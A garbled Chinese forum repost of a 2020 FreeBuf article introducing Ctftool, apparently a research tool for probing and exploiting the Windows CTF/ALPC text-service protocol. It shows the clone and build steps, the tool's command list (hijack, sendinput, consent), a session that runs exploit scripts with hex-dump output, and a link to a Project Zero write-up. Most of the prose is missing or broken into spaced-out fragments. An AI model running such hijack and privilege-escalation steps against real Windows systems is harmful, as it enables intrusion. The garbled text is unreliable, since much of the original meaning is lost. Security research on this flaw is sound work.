[15074] 2020-02-29_Ctftool:一款功能强大的交互式CTF漏洞利用工具

文档创建者:s7ckTeam
浏览次数:19
最后更新:2025-01-18
2020-02-29_Ctftool:一款功能强大的交互式CTF漏洞利用工具 C t f t o o l C T F A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 0 2 - 2 9 C t f t o o l C T F W i n d o w s C t f t o o l W i n d o w s W i n d o w s C t f t o o l C T F 广 使 访 R e l e a s e 使 G N U   m a k e V i s u a l   S t u d i o   2 0 1 9 C t f t o o l 3 2 W i n d o w s x 8 6 x 6 4 m a k e 使 V i s u a l   S t u d i o M S V C M S B u i l d C M a k e S D K 使 使 使 使 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / t a v i s o / c t f t o o l . g i t g i t   s u b m o d u l e   u p d a t e   - - i n i t   - - r e c u r s i v e
C t f t o o l W i n d o w s   7 W i n d o w s   8 W i n d o w s   1 0 3 2 6 4 广 使 h e l p h e l p 使 $   . / c t f t o o l . e x e A n   i n t e r a c t i v e   c t f   e x p l o r a t i o n   t o o l   b y   @ t a v i s o . T y p e   " h e l p "   f o r   a v a i l a b l e   c o m m a n d s . M o s t   c o m m a n d s   r e q u i r e   a   c o n n e c t i o n ,   s e e   " h e l p   c o n n e c t " . c t f >   h e l p T y p e   ` h e l p   < c o m m a n d > `   f o r   h e l p   w i t h   a   s p e c i f i c   c o m m a n d . A n y   l i n e   b e g i n n i n g   w i t h   #   i s   c o n s i d e r e d   a   c o m m e n t . h e l p                         -   L i s t   a v a i l a b l e   c o m m a n d s . e x i t                         -   E x i t   t h e   s h e l l . c o n n e c t                   -   C o n n e c t   t o   C T F   A L P C   P o r t . i n f o                         -   Q u e r y   s e r v e r   i n f o r m a i t o n . s c a n                         -   E n u m e r a t e   c o n n e c t e d   c l i e n t s . c a l l s t u b                 -   A s k   a   c l i e n t   t o   i n v o k e   a   f u n c t i o n . c r e a t e s t u b             -   A s k   a   c l i e n t   t o   i n s t a n t i a t e   C L S I D . h i j a c k                     -   A t t e m p t   t o   h i j a c k   a n   A L P C   s e r v e r   p a t h . s e n d i n p u t               -   S e n d   k e y s t r o k e s   t o   t h r e a d . s e t a r g                     -   M a r s h a l   a   p a r a m e t e r . g e t a r g                     -   U n m a r s h a l   a   p a r a m e t e r . w a i t                         -   W a i t   f o r   a   p r o c e s s   a n d   s e t   i t   a s   t h e   d e f a u l t   t h r e a d . t h r e a d                     -   S e t   t h e   d e f a u l t   t h r e a d . s l e e p                       -   S l e e p   f o r   s p e c i f i e d   m i l l i s e c o n d s . f o r g e t                     -   F o r g e t   a l l   k n o w n   s t u b s . s t a c k                       -   P r i n t   t h e   l a s t   l e a k e d   s t a c k   p t r . m a r s h a l                   -   S e n d   c o m m a n d   w i t h   m a r s h a l l e d   p a r a m e t e r s . p r o x y                       -   S e n d   c o m m a n d   w i t h   p r o x y   p a r a m e t e r s . c a l l                         -   S e n d   c o m m a n d   w i t h o u t   a p p e n d e d   d a t a . w i n d o w                     -   C r e a t e   a n d   r e g i s t e r   a   m e s s a g e   w i n d o w . p a t c h                       -   P a t c h   a   m a r s h a l l e d   p a r a m e t e r . m o d u l e                     -   P r i n t   t h e   b a s e   a d d r e s s   o f   a   m o d u l e . m o d u l e 6 4                 -   P r i n t   t h e   b a s e   a d d r e s s   o f   a   6 4 b i t   m o d u l e . e d i t a r g                   -   C h a n g e   t h e   t y p e   o f   a   m a r s h a l l e d   p a r a m e t e r . s y m b o l                     -   L o o k u p   a   s y m b o l   o f f s e t   f r o m   I m a g e B a s e . s e t                           -   C h a n g e   o r   d u m p   v a r i o u s   c t f t o o l   p a r a m e t e r s . s h o w                         -   S h o w   t h e   v a l u e   o f   s p e c i a l   v a r i a b l e s   y o u   c a n   u s e . l o c k                         -   L o c k   t h e   w o r k s t a t i o n ,   s w i t c h   t o   W i n l o g o n   d e s k t o p . r e p e a t                     -   R e p e a t   a   c o m m a n d   m u l t i p l e   t i m e s . r u n                           -   R u n   a   c o m m a n d . s c r i p t                     -   S o u r c e   a   s c r i p t   f i l e . p r i n t                       -   P r i n t   a   s t r i n g . c o n s e n t                   -   I n v o k e   t h e   U A C   c o n s e n t   d i a l o g . r e g                           -   L o o k u p   a   D W O R D   i n   t h e   r e g i s t r y . g a d g e t                     -   F i n d   t h e   o f f s e t   o f   a   p a t t e r n   i n   a   f i l e . s e c t i o n                   -   L o o k u p   p r o p e r t y   o f   P E   s e c t i o n . M o s t   c o m m a n d s   r e q u i r e   a   c o n n e c t i o n ,   s e e   " h e l p   c o n n e c t " . c t f >
C T F W i n d o w s   1 0   x 6 4   1 9 0 3 c t f t o o l . e x e 使 c o n n e c t C T F B a s e N a m e d O b j e c t s C T F   A L P C 使 h i j a c k c t f >   c o n n e c t T h e   c t f   s e r v e r   p o r t   i s   l o c a t e d   a t   B a s e N a m e d O b j e c t s m s c t f . s e r v e r D e f a u l t 1 N t A l p c C o n n e c t P o r t ( " B a s e N a m e d O b j e c t s m s c t f . s e r v e r D e f a u l t 1 " )   = >   0 C o n n e c t e d   t o   C T F   s e r v e r @ B a s e N a m e d O b j e c t s m s c t f . s e r v e r D e f a u l t 1 ,   H a n d l e   0 0 0 0 0 2 6 4 c t f >   s c a n C l i e n t   0 ,   T i d   3 4 0 0   ( F l a g s   0 x 0 8 ,   H w n d   0 0 0 0 0 D 4 8 ,   P i d   8 6 9 6 ,   e x p l o r e r . e x e ) C l i e n t   1 ,   T i d   7 6 9 2   ( F l a g s   0 x 0 8 ,   H w n d   0 0 0 0 1 E 0 C ,   P i d   8 6 9 6 ,   e x p l o r e r . e x e ) C l i e n t   2 ,   T i d   9 4 2 4   ( F l a g s   0 x 0 c ,   H w n d   0 0 0 0 2 4 D 0 ,   P i d   9 3 4 4 ,   S e a r c h U I . e x e ) C l i e n t   3 ,   T i d   1 2 0 6 8   ( F l a g s   0 x 0 8 ,   H w n d   0 0 0 0 2 F 2 4 ,   P i d   1 2 1 5 6 ,   P R O C E X P 6 4 . e x e ) C l i e n t   4 ,   T i d   9 7 4 0   ( F l a g s   0 0 0 0 ,   H w n d   0 0 0 0 2 6 0 C ,   P i d   3 8 4 0 ,   c t f m o n . e x e ) A n   i n t e r a c t i v e   c t f   e x p l o r a t i o n   t o o l   b y   @ t a v i s o . T y p e   " h e l p "   f o r   a v a i l a b l e   c o m m a n d s . M o s t   c o m m a n d s   r e q u i r e   a   c o n n e c t i o n ,   s e e   " h e l p   c o n n e c t " . c t f >   s c r i p t   . s c r i p t s c t f - c o n s e n t - s y s t e m . c t f c t f >   s c r i p t   . s c r i p t s c t f - e x p l o i t - c o m m o n - w i n 1 0 . c t f A n   i n t e r a c t i v e   c t f   e x p l o r a t i o n   t o o l   b y   @ t a v i s o . T y p e   " h e l p "   f o r   a v a i l a b l e   c o m m a n d s . c t f >   h i j a c k   D e f a u l t   1 N t A l p c C r e a t e P o r t ( " B a s e N a m e d O b j e c t s m s c t f . s e r v e r D e f a u l t 1 " )   = >   0   0 0 0 0 0 2 1 8 N t A l p c S e n d W a i t R e c e i v e P o r t ( " B a s e N a m e d O b j e c t s m s c t f . s e r v e r D e f a u l t 1 " )   = >   0   0 0 0 0 0 2 1 8 0 0 0 0 0 0 :   1 8   0 0   3 0   0 0   0 a   2 0   0 0   0 0   0 0   1 1   0 0   0 0   4 4   1 1   0 0   0 0     . . 0 . .   . . . . . . D . . . 0 0 0 0 1 0 :   a 4   8 6   0 0   0 0   b 7   6 6   b 8   0 0   0 0   1 1   0 0   0 0   4 4   1 1   0 0   0 0     . . . . . f . . . . . . D . . . 0 0 0 0 2 0 :   e 7   1 2   0 1   0 0   0 c   0 0   0 0   0 0   8 0   0 1   0 2   0 0   2 0   1 0   d 6   0 5     . . . . . . . . . . . .   . . . A   a   m e s s a g e   r e c e i v e d                 P r o c e s s I D :   4 3 5 2 ,   S e a r c h U I . e x e                 T h r e a d I d :   4 4 2 0                 W i n d o w I D :   0 0 0 2 0 1 8 0 N t A l p c S e n d W a i t R e c e i v e P o r t ( " B a s e N a m e d O b j e c t s m s c t f . s e r v e r D e f a u l t 1 " )   = >   0   0 0 0 0 0 2 1 8
C T F C T F C t f t o o l c o n n e c t C t f t o o l h t t p s : / / g i t h u b . c o m / t a v i s o / c t f t o o l N t A l p c S e n d W a i t R e c e i v e P o r t ( " B a s e N a m e d O b j e c t s m s c t f . s e r v e r D e f a u l t 1 " )   = >   0   0 0 0 0 0 2 1 8 0 0 0 0 0 0 :   1 8   0 0   3 0   0 0   0 a   2 0   0 0   0 0   a c   0 f   0 0   0 0   0 c   0 3   0 0   0 0     . . 0 . .   . . . . . . . . . . 0 0 0 0 1 0 :   e c   7 9   0 0   0 0   f a   6 6   b 8   0 0   a c   0 f   0 0   0 0   0 c   0 3   0 0   0 0     . y . . . f . . . . . . . . . . 0 0 0 0 2 0 :   1 2   0 4   0 1   0 0   0 8   0 0   0 0   0 0   1 0   0 1   0 1   0 0   0 0   0 0   0 0   0 0     . . . . . . . . . . . . . . . . A   a   m e s s a g e   r e c e i v e d                 P r o c e s s I D :   4 0 1 2 ,   e x p l o r e r . e x e                 T h r e a d I d :   7 8 0                 W i n d o w I D :   0 0 0 1 0 1 1 0 N t A l p c S e n d W a i t R e c e i v e P o r t ( " B a s e N a m e d O b j e c t s m s c t f . s e r v e r D e f a u l t 1 " )   = >   0   0 0 0 0 0 2 1 8 0 0 0 0 0 0 :   1 8   0 0   3 0   0 0   0 a   2 0   0 0   0 0   a c   0 f   0 0   0 0   0 c   0 3   0 0   0 0     . . 0 . .   . . . . . . . . . . 0 0 0 0 1 0 :   f c   8 a   0 0   0 0   2 a   6 7   b 8   0 0   a c   0 f   0 0   0 0   0 c   0 3   0 0   0 0     . . . . * g . . . . . . . . . . 0 0 0 0 2 0 :   1 2   0 4   0 1   0 0   0 8   0 0   0 0   0 0   1 0   0 1   0 1   0 0   5 8   0 0   0 0   0 0     . . . . . . . . . . . . X . . . A   a   m e s s a g e   r e c e i v e d                 P r o c e s s I D :   4 0 1 2 ,   e x p l o r e r . e x e                 T h r e a d I d :   7 8 0 . . . A n   i n t e r a c t i v e   c t f   e x p l o r a t i o n   t o o l   b y   @ t a v i s o . T y p e   " h e l p "   f o r   a v a i l a b l e   c o m m a n d s . M o s t   c o m m a n d s   r e q u i r e   a   c o n n e c t i o n ,   s e e   " h e l p   c o n n e c t " . c t f >   h e l p   c o n n e c t C o n n e c t   t o   C T F   A L P C   P o r t . U s a g e :   c o n n e c t   [ D E S K T O P N A M E   S E S S I O N I D ] W i t h o u t   a n y   p a r a m e t e r s ,   c o n n e c t   t o   t h e   c t f   m o n i t o r   f o r   t h e   c u r r e n t d e s k t o p   a n d   s e s s i o n .   A l l   s u b s e q u e n t   c o m m a n d s   w i l l   u s e   t h i s   c o n n e c t i o n f o r   c o m m u n i c a t i n g   w i t h   t h e   c t f   m o n i t o r . I f   a   c o n n e c t i o n   i s   a l r e a d y   o p e n ,   t h e   e x i s t i n g   c o n n e c t i o n   i s   c l o s e d   f i r s t . I f   D E S K T O P N A M E   a n d   S E S S I O N I D   a r e   s p e c i f i e d ,   a   c o n n e c t i o n   t o   c t f   m o n i t o r f o r   a n o t h e r   d e s k t o p   a n d   s e s s i o n   a r e   o p e n e d ,   i f   i t   e x i s t s . I f   t h e   s p e c i f i e d   p o r t   d o e s   n o t   e x i s t ,   w a i t   u n t i l   i t   d o e s   e x i s t .   T h i s   i s s o   t h a t   y o u   c a n   w a i t   f o r   a   s e s s i o n   t h a t   h a s n ' t   s t a r t e d y e t   i n   a   s c r i p t . E x a m p l e s   C o n n e c t   t o   t h e   m o n i t o r   f o r   c u r r e n t   d e s k t o p     c t f >   c o n n e c t   C o n n e c t   t o   a   s p e c i f i c   d e s k t o p   a n d   s e s s i o n .     c t f >   c o n n e c t   D e f a u l t   1 M o s t   c o m m a n d s   r e q u i r e   a   c o n n e c t i o n ,   s e e   " h e l p   c o n n e c t " .
1 h t t p s : / / g o o g l e p r o j e c t z e r o . b l o g s p o t . c o m / 2 0 1 9 / 0 8 / d o w n - r a b b i t - h o l e . h t m l * t a v i s o F B A l p h a _ h 4 c k F r e e B u f . C O M

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则